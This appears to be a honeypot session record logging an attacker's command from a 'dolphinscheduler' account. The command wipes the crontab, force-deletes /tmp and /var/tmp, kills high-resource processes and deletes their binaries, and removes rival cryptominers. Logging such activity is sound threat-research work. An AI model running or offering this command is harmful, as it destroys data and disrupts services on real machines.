| IP | 91.92.47.128 |
| Country | GB |
| Username | dolphinscheduler |
| Shell | psql |
| Exec Command | crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null |
| Score | - |
| Connected | 2026-08-29 11:51:01 UTC |
| Disconnected | 2026-08-29 11:51:01 UTC |
Session aff40edd-3012-49bf-9038-d0abf13f9d8b
No recorded events for this session.